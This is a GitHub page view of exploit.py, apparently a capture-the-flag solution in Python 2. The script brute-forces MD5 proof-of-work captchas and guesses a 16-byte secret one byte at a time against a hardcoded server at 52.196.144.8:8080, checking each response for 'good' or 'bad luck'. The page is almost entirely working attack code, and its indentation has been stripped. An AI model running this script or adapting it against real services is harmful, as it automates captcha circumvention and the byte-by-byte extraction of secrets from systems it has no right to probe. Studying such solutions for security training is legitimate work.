-
Notifications
You must be signed in to change notification settings - Fork 476
/
exploit.py
50 lines (40 loc) · 1.16 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
# coding: UTF-8
import requests
import hashlib
def md5(s):
return hashlib.md5(s).hexdigest()
for i in range(16):
for c in range(256):
if i in [0, 1, 2, 3]:
prefix = "333"
elif i in [4, 5, 6, 7]:
prefix = "4444"
elif i in [8, 9, 10, 11]:
prefix = '55555'
else:
prefix = '666666'
r = requests.get('http://52.196.144.8:8080/')
cookies = r.cookies
salt = r.content.split('md5( "')[1].split('" +')[0]
x = 0
while 1:
if md5(salt + str(x)).startswith(prefix):
captcha = x
break
else:
x += 1
data = {
'line': str(i),
'captcha': str(captcha),
'guess': chr(c)
}
r = requests.post('http://52.196.144.8:8080/', data=data, cookies=cookies)
if i == 15:
if 'bad luck' not in r.content:
print 'byte %02d = %02x' % (i+1, c)
print r.content
break
else:
if 'good' in r.content:
print 'byte %02d = %02x' % (i+1, c)
break